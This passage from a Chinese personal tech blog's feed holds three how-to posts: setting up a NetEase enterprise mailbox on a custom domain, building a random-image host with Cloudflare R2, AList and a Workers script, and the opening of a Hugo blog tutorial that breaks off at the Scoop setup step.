&lt;p&gt;首先前往 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://ym.163.com&#x2F;&quot;&gt;网易免费企业邮箱&lt;&#x2F;a&gt; 创建一个账号。直接用手机号注册&lt;&#x2F;p&gt;
&lt;p&gt;注意，注册完毕后登录账户名和登录密码会通过&lt;strong&gt;短信&lt;&#x2F;strong&gt;发给你，然后前往 https://mail.qiye.163.com&#x2F; 进行登录&lt;&#x2F;p&gt;
&lt;p&gt;如果你不喜欢系统随机生成的密码，可以先点击忘记密码，然后填写账户名，验证绑定的手机号后即可重置密码&lt;&#x2F;p&gt;
&lt;p&gt;登陆进去后大概是这样&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;65e5b400-96d7-44c6-b16e-a7a409104c3c.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果你不喜欢你的账户名，比如我的就是 &lt;strong&gt;erchashush&lt;&#x2F;strong&gt; @acofork.freeqiye.com，这个erchashush其实是可以更改的&lt;&#x2F;p&gt;
&lt;p&gt;在组织机构管理中点击账号管理，选择新建账号&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;a20e7931-c460-4134-b1b0-0fee82f8a7fc.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后写一个你想要的别名。绑定手机填你的，因为第一次登录需要验证码验证，如果填错了直接删除即可&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;b9ac287d-ff90-4f8c-88ba-0d7bb1588f1c.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后我们需要给这个新账号提权，如果你想用superadmin登录后台的话&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;6f21feca-984d-444e-b80f-bf1a28e4cf79.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接着右上角退出登录，然后使用新创建的管理员账户登录&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bang-ding-ni-de-yu-ming&quot;&gt;绑定你的域名&lt;&#x2F;h2&gt;
&lt;p&gt;前往组织机构管理 - 域名管理 - 添加域名
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2fa04b72-f0e7-43c0-9c2a-1daab62e67cb.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;根据提示在你的域名提供商（比如Cloudflare）配置TXT记录和MX记录即可&lt;&#x2F;p&gt;
&lt;h2 id=&quot;deng-lu-ni-de-you-xiang&quot;&gt;登录你的邮箱&lt;&#x2F;h2&gt;
&lt;p&gt;前往 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://dashi.163.com&#x2F;&quot;&gt;网易邮箱大师-高效强大的全平台邮箱客户端&lt;&#x2F;a&gt; 下载对应的版本&lt;&#x2F;p&gt;
&lt;p&gt;使用你的邮箱 + 密码进行登录即可。如果需要手机验证验证即可。最好下载一个手机端的网易邮箱大师，在手机端登录后任何其他平台登录都会需要手机端授权，更安全&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xiao-guo-zhan-shi&quot;&gt;效果展示&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;614794bd-d84d-4b66-b816-1d6d6ce73727.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;签名和发件人头像可以通过手机的网易邮箱大师设置&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;57f759bc-46fb-4f99-b6bb-751464661240.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>Cloudflare R2+Workers！马上搭建自己的云上图床！</title>
        <published>2025-03-05T00:00:00+00:00</published>
        <updated>2025-03-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/cf-randompic/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/cf-randompic/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/cf-randompic/">&lt;h3 id=&quot;jie-guo-tu&quot;&gt;&lt;strong&gt;结果图&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;408795f3ec1a5a9baf91b6cd7564d6f1d7dbc5bd.webp&quot; alt=&quot;QmVgqgoC7G8NLS21WvR8j9gf5amu33XvuV68ZrgM5B9iFf.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yuan-li&quot;&gt;&lt;strong&gt;原理&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;图源由 Cloudflare R2 托管，通过两个 Workers 连接 R2 以展示随机横屏&#x2F;竖屏图片，静态页面引用 Workers 的 URL 以实现以上界面&lt;&#x2F;p&gt;
&lt;h3 id=&quot;chuang-jian-cloudflare-r2-cun-chu-tong&quot;&gt;&lt;strong&gt;创建 Cloudflare R2 存储桶&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;R2 实际上是一个对象存储。Cloudflare 提供 10G 的免费存储和每月 1000 万次的免费访问&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;进入&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://dash.cloudflare.com&#x2F;&quot;&gt;Cloudflare 仪表盘&lt;&#x2F;a&gt;，进入 R2 页面，如图&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;0ffb86d36ab0f3fcc24ef7b3d64c4bc72b6b53e7.webp&quot; alt=&quot;QmU7u2JHUcevyHnwsCdAZfs7X7Fcdh3KJhn6eoy24Q5dGC.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;选择创建存储桶&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;26d3b3e26b9e2f641a2eea98c2ddb8891a0b7f6a.webp&quot; alt=&quot;QmX3eCaCVEgE8AN29D9t2VpQ5t5SrZGKb8EcZv9oKpCqf2.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;为你的存储桶起一个名字，然后单击创建&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;7fa96a023d7969ab168d467ab6d05646e5241884.webp&quot; alt=&quot;QmVad5eoJCLpSNZ4HCvTPJfD8rpg4aePMzZ7j2DZATn1XD.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;进入如下页面就已经创建完毕了&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;719f2dfe59c73fa820ffc6cc2d9749ca14b9bece.webp&quot; alt=&quot;QmSdzwBJpw2L4a8LJ3eM3VMJs3d5oV5iFCxCMtv69VZmYH.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;返回 R2 首页。因为在下文我们需要使用 API 来进行文件传输，所以需要创建你的 R2 API 令牌，单击管理 R2 API 令牌&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;9b1a338acae642ce7ce71dd41454903b1cfeafd0.webp&quot; alt=&quot;QmbS8zjJTESwsmycKBSC9kmabAA9dtSCUX8nbUDWg4BWRX.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;单击创建 API 令牌，如图&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;9512f23e08a60948e721848118f5eb096449909b.webp&quot; alt=&quot;QmPzJEHVAm4z3S1SHY4k99TugrPyTB9DXpyRR8Loj22bz3.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;因为我们需要该 API 来管理单个 R2 存储桶，所以选择&lt;strong&gt;对象读和写&lt;&#x2F;strong&gt;，详细配置如图&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;0361e2b00351559eaebb18f3e6bb15a94b8578e9.webp&quot; alt=&quot;QmNY9p8hksi18B9R8TVfdGgu336oQ3cPmghyfYXE9CDGD4.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;创建 API 令牌后，新页面会展示令牌的详细信息，&lt;strong&gt;仅会展示一次！！！&lt;&#x2F;strong&gt; 保持这个页面，直到你将该页面的所有信息都已经妥善保存，不要关闭界面，否则，你需要轮转 API 令牌以禁用之前的旧密钥，如图&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;f4214f6fdf67fa7bf694d0a1501ecc21aef45a90.webp&quot; alt=&quot;QmZTUwbycqbJhVP6PatD3psYy7ej9PDDoiXbmDWoakPhwx.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;确保你已经妥善保存你的 R2 API 令牌，然后进行下一步&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;wei-ni-de-cun-chu-tong-tian-jia-wen-jian&quot;&gt;&lt;strong&gt;为你的存储桶添加文件&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;因为 Web 界面传输文件较慢且不支持传输大于 300MB 的文件。这里使用本地部署 AList 然后连接你的 R2 存储桶实现高速上传&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;笔者使用 Windows。前往&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;alist-org&#x2F;alist&#x2F;releases&quot;&gt;AList - Github Release&lt;&#x2F;a&gt;下载适用于 Windows 的最新可执行文件，如图&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;a2d1f289e464a9fb6367e2b7ff0b695916742698.webp&quot; alt=&quot;QmPDRDJGeGStreyZMXVYofbE9FCs1T1MyDek3KUbB3Kk5b.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;将下载的压缩包解压，并将其中的&lt;code&gt;alist.exe&lt;&#x2F;code&gt;放入一个空文件夹&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;单击搜索框，输入 cmd 并回车，如图&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;3abdda195c58812866d49879c683a044e8acf7f8.webp&quot; alt=&quot;QmSt8aFtaeEprJHASEiNPB67UHcHoSxsbhhHUPxW6QkWSo.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;f90fccfe1db62aff7a0a722cd3c5c319da563ae2.webp&quot; alt=&quot;QmNkMhDhpPLkYCpVhE1ov7Q6A34uWDvraCqNvuTqaCkujT.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在 cmd 中输入&lt;code&gt;alist.exe server&lt;&#x2F;code&gt;并且不要关闭窗口，运行成功后如图&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2c0ec8fb4de7f2a9a1b8107e3506cb5a8d7d7eff.webp&quot; alt=&quot;QmdzyY8xbic8jdnZEXegefoZPeizqHa4ZkdMnRKoguBMkf.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;打开浏览器，输入&lt;code&gt;localhost:5244&lt;&#x2F;code&gt;即可进入 AList 控制台，如图&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;867fe02a124c886777d4ba64f6d1e4498c686709.webp&quot; alt=&quot;QmUBFKu7mCiRneCrsTNPxTH6S4gxwtXf9cwLzf4dKW9LLR.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;用户名：&lt;code&gt;admin&lt;&#x2F;code&gt;密码：&lt;code&gt;在cmd窗口中，如图&lt;&#x2F;code&gt;。你可以使用鼠标左键在终端中框选内容然后单击鼠标右键进行复制操作&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;8cedc3475cd8358507587de8a6b2a91980fe9af4.webp&quot; alt=&quot;QmVH3qZYo3QE6anNHymwkikq5MSeJphrZNR7RCH5jpP3wn.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;注意，在 cmd 中，鼠标左键点击或拖动 cmd 的终端界面会导致进入选择状态，程序将会被系统阻塞，&lt;strong&gt;需要在终端界面点按鼠标右键解除&lt;&#x2F;strong&gt;。若进程被阻塞，cmd 的进程名会多一个&lt;strong&gt;选择&lt;&#x2F;strong&gt;，请注意。如图是程序被阻塞的例子，&lt;strong&gt;在终端界面点按鼠标右键即可解除&lt;&#x2F;strong&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;afb945ff610c0463ee0db97f52bc42a865b00603.webp&quot; alt=&quot;QmapESiqSEvbYq3AJs15yYvhemRxSHrJaccjTFr99muX6Z.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;现在，你已经成功以管理员身份登入了 AList单击最下面的&lt;strong&gt;管理&lt;&#x2F;strong&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;eb0c3753205f42133445dfcee5f1291debd6c649.webp&quot; alt=&quot;QmfNE53GThdjVrh4q64MJcZqwcGPD7UtcYTNw9bVBaSEaF.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;你会进入到如图界面。尽管 AList 运行在本地，也建议更改你的用户名和密码&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;3bde577194580e4d17aa457231360733175e2b0d.webp&quot; alt=&quot;QmNdD8UU8fkVDBz5dXdJhCF2fZg8P1FwrcMaaTsG6a7ENy.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;更改账密，重新以新账密登录&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;a5ba3b6cc73002f3e96b6aab8c4e252f697802da.webp&quot; alt=&quot;Qmas7pMiPR2FNTXheBT1xGNUpzDiSzv7J7yd6oCuT17yad.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;进入控制台，然后单击存储，如图&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;bb8fc961e43dffa99994c0d0e703ba98fc01b85a.webp&quot; alt=&quot;QmS4gGyCM1j3RXgHEPuZ1zTbLAvGtVBEiPXJe9QMF3dD2D.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;选择添加，如图&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2807d1dbc07fed008c8177cd3b2b89bfd03cc8be.webp&quot; alt=&quot;QmRDVxt8WbrVkHavgFNXj3qC86ysw6sSZhPy3Uf2ixKp2E.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;详细配置如图。挂载路径即 AList 展示路径，推荐使用&lt;code&gt;&#x2F;R2&#x2F;你的存储桶名字&lt;&#x2F;code&gt;，地区为&lt;code&gt;auto&lt;&#x2F;code&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-16-11-37-53-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;回到主页，如图&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;65265d29e91f146ecbe3d92218eb9af49eac1c8b.webp&quot; alt=&quot;QmSnR9Ptrssx4nqk9qCvhFUNKQyQqJiN7GRscwoj4Dczgj.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;尝试上传文件，如图&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;061c995a66c34ebc341f692d4eb82d5657d791d6.webp&quot; alt=&quot;QmPqFsmZNNnh4jNyLS7X3h8Zr6ZCVqTqGVwTxmPDdbmrGW.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;可以看到，速度非常快&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;51d0a617cbda108ce6c12fb25f71fb5223a0cddb.webp&quot; alt=&quot;QmXfGK6aZjz741GrY8RfFfKMkUzDMB3xhx93PGZ9S1QycT.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;为你的图床创建目录以分类横屏和竖屏图等，以便下文使用 Workers 连接 R2 来调用。后文我将使用R2的&lt;code&gt;&#x2F;ri&#x2F;h&lt;&#x2F;code&gt; 路径作为横屏随机图目录、&lt;code&gt;&#x2F;ri&#x2F;v&lt;&#x2F;code&gt; 路径作为竖屏随机图目录&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;3bde577194580e4d17aa457231360733175e2b0d.webp&quot; alt=&quot;QmNdD8UU8fkVDBz5dXdJhCF2fZg8P1FwrcMaaTsG6a7ENy.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;chuang-jian-workers-lian-jie-r2&quot;&gt;&lt;strong&gt;创建 Workers，连接 R2&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;进入&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://dash.cloudflare.com&#x2F;&quot;&gt;Cloudflare 仪表盘&lt;&#x2F;a&gt;，进入 Workers 和 Pages 页面，如图&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;49ccd51771082fdc94eecb270caf987d257cd987.webp&quot; alt=&quot;QmW5UaUap8T2R37u5dzmKGLmUgk4qKnSMFwHBVHqvVbkVA.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;单击创建，选择创建 Workers，名称自取，单击部署&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;95102dd09752a103d8022b1f281538e729b7a448.webp&quot; alt=&quot;QmVvLv5n41QQfDfYiVWYRpsfw7TVNGy1BYuv5e8vBRhKLA.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;选择编辑代码&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;fa78af856b3ff3798c77a55be15b2644dec944c1.webp&quot; alt=&quot;QmTbRifzXQ593DGyjFQMbA9exyNp2iAeAg4zbVrfFimQc4.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;粘贴代码（创建随机横屏图）：&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;新代码：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;export default {
  async fetch(request, env, ctx) {
    const bucket = env.MY_BUCKET;
    const url = new URL(request.url);
    const hostname = url.hostname;

    &#x2F;&#x2F; 初始化prefix
    let prefix = &amp;#39;&amp;#39;;
    
    &#x2F;&#x2F; 根据域名判断prefix
    if (hostname === &amp;#39;hpic.072103.xyz&amp;#39; || hostname === &amp;#39;api-hpic.072103.xyz&amp;#39;) {
      prefix = &amp;#39;ri&#x2F;h&#x2F;&amp;#39;;
    } else if (hostname === &amp;#39;vpic.072103.xyz&amp;#39; || hostname === &amp;#39;api-vpic.072103.xyz&amp;#39;) {
      prefix = &amp;#39;ri&#x2F;v&#x2F;&amp;#39;;
    } else {
      return new Response(&amp;#39;Invalid domain&amp;#39;, { status: 400 });
    }

    try {
      &#x2F;&#x2F; 如果是API域名，只返回数量
      if (hostname.startsWith(&amp;#39;api-&amp;#39;)) {
        const objects = await bucket.list({ prefix: prefix });
        const count = objects.objects.length;
        const headers = new Headers({
          &amp;#39;Access-Control-Allow-Origin&amp;#39;: &amp;#39;*&amp;#39;,
          &amp;#39;Content-Type&amp;#39;: &amp;#39;text&#x2F;plain&amp;#39;
        });
        return new Response(count.toString(), { headers });
      }

      &#x2F;&#x2F; 原有的随机图片逻辑
      const objects = await bucket.list({ prefix: prefix });
      const items = objects.objects;
      
      if (items.length === 0) {
        return new Response(&amp;#39;No images found&amp;#39;, { status: 404 });
      }
      
      const randomItem = items[Math.floor(Math.random() * items.length)];
      const object = await bucket.get(randomItem.key);

      if (!object) {
        return new Response(&amp;#39;Image not found&amp;#39;, { status: 404 });
      }

      const headers = new Headers();
      headers.set(&amp;#39;Content-Type&amp;#39;, object.httpMetadata.contentType || &amp;#39;image&#x2F;jpeg&amp;#39;);

      return new Response(object.body, { headers });
    } catch (error) {
      console.error(&amp;#39;Error:&amp;#39;, error);
      return new Response(&amp;#39;Internal Server Error&amp;#39;, { status: 500 });
    }
  },
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;旧代码：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;export default {
  async fetch(request, env, ctx) {
    &#x2F;&#x2F; R2 bucket 配置
    const bucket = env.MY_BUCKET;

    try {
      &#x2F;&#x2F; 列出 &#x2F;ri&#x2F;h 目录下的所有对象
      const objects = await bucket.list({ prefix: &amp;#39;ri&#x2F;h&#x2F;&amp;#39; });

      &#x2F;&#x2F; 从列表中随机选择一个对象
      const items = objects.objects;
      if (items.length === 0) {
        return new Response(&amp;#39;No images found&amp;#39;, { status: 404 });
      }
      const randomItem = items[Math.floor(Math.random() * items.length)];

      &#x2F;&#x2F; 获取选中对象
      const object = await bucket.get(randomItem.key);

      if (!object) {
        return new Response(&amp;#39;Image not found&amp;#39;, { status: 404 });
      }

      &#x2F;&#x2F; 设置适当的 Content-Type
      const headers = new Headers();
      headers.set(&amp;#39;Content-Type&amp;#39;, object.httpMetadata.contentType || &amp;#39;image&#x2F;jpeg&amp;#39;);

      &#x2F;&#x2F; 返回图片内容
      return new Response(object.body, { headers });
    } catch (error) {
      console.error(&amp;#39;Error:&amp;#39;, error);
      return new Response(&amp;#39;Internal Server Error&amp;#39;, { status: 500 });
    }
  },
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;
&lt;p&gt;点击左侧的文件图标&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;b02f29fbafb44ad36a0fa770d013069a374394a8.webp&quot; alt=&quot;QmQGQTiTXSESU2TSJ6tc3KrzWU4KABKqn6QZ1GdWqKnWmc.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;在&lt;code&gt;wrangler.toml&lt;&#x2F;code&gt;中填入：&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;[[r2_buckets]]
binding = &amp;quot;MY_BUCKET&amp;quot;
bucket_name = &amp;quot;114514&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;7&quot;&gt;
&lt;li&gt;
&lt;p&gt;保存修改，点击右上角的部署&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;6751c7b5122b938e01087d1bed629fcad1182a10.webp&quot; alt=&quot;QmP7hXdtenrJrzJRRePHQATGtyAsZEr5MkMsboXvmNUxTx.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;在设置 - 变量找到 R2 存储桶绑定，添加你的存储桶，变量名即上文的&lt;code&gt;MY_BUCKET&lt;&#x2F;code&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;572f1c9946b5b6de5350c708e579d9887949b6e9.webp&quot; alt=&quot;QmStitSyATnA8sY9tTgZaXXqmqkGPUtZmMxn9KjbFQzgTc.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;在设置 - 触发器添加你的自定义域名以便访问&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;706b3acbb372307713e38c96fc867f4e96234fd7.webp&quot; alt=&quot;QmUMxtkCiKsgFw8afRUGREFztXE9D5W6FmCbAUB7DaVH5o.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;1a6fa505881591a294f0b4ef4a1940e40fe57ab9.webp&quot; alt=&quot;QmPF9iCoq6n8Jj2Z6kPkdJSCm45VJystZoYcir55yceCQo.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;访问效果，每次刷新都不一样&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;0ba1efee8174e0d3db761bbd613a7b94b9738cee.webp&quot; alt=&quot;QmQgEdjXxF9oph2jYKzFMJToX9WfG11jUmPiNJnjhYVN4N.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;tong-guo-shi-yong-html-de-img-biao-qian-yin-yong-ji-ke-da-dao-kai-tou-de-xiao-guo&quot;&gt;&lt;strong&gt;通过使用 HTML 的 &lt;code&gt;&amp;lt;img&amp;gt;&lt;&#x2F;code&gt; 标签引用即可达到开头的效果&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;如：&lt;code&gt;&amp;lt;img src=&quot;你的域名&quot; alt=&quot;&quot;&amp;gt;&lt;&#x2F;code&gt;
&lt;img title=&quot;&quot; src=&quot;https://hpic.072103.xyz&quot; alt=&quot;loading-ag-4760&quot;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>Hugo博客搭建教程以及配置调优</title>
        <published>2025-03-03T00:00:00+00:00</published>
        <updated>2025-03-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/hugo/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/hugo/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/hugo/">&lt;p&gt;曾经我写过一篇文章叫做：&lt;a href=&quot;&#x2F;posts&#x2F;fuwari&#x2F;&quot;&gt;Fuwari静态博客搭建教程&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;文中的&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;saicaca&#x2F;fuwari&quot;&gt;Fuwari&lt;&#x2F;a&gt;是基于Astro的，并且使用了服务器+客户端的混合渲染，尽管UI确实好看，但因为本人不会写Astro导致日后维护特别困难（比如手动添加Giscus评论后和上游分支发生冲突需要手动解决冲突才能合并上游）。&lt;&#x2F;p&gt;
&lt;p&gt;最后我放弃了，既然我就是菜我为什么不找一个原生使用HTML+JS+CSS的框架呢？&lt;&#x2F;p&gt;
&lt;p&gt;于是我便询问AI，Claude推荐我使用Hugo。&lt;&#x2F;p&gt;
&lt;p&gt;其实我早就曾听闻Hugo的大名，但是并没有深入研究，但是Claude又告诉我Hugo采用Go语言进行编译，速度快，而且想要二次开发也只需要改改我最熟悉的HTML+JS+CSS。&lt;&#x2F;p&gt;
&lt;p&gt;于是我便花了2小时深入研究、部署、调优。发现Hugo确实很强大：迁移方便，二改简单，构建迅速&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zheng-shi-kai-shi&quot;&gt;正式开始&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;请全程在Windows上操作&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;我们首先需要安装Scoop，这是一个适用于Windows的包管理器，个人认为非常好用&lt;&#x2F;p&gt;
&lt;p&gt;Scoop默认会安装到C盘，如果你想要换盘请按需更改&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;powershell&quot;&gt;$env:SCOOP=&amp;#39;D:\Scoop&amp;#39;
$env:SCOOP_GLOBAL=&amp;#39;D:\ScoopApps&amp;#39;
[Environment]::SetEnvironmentVariable(&amp;#39;SCOOP&amp;#39;, $env:SCOOP, &amp;#39;User&amp;#39;)
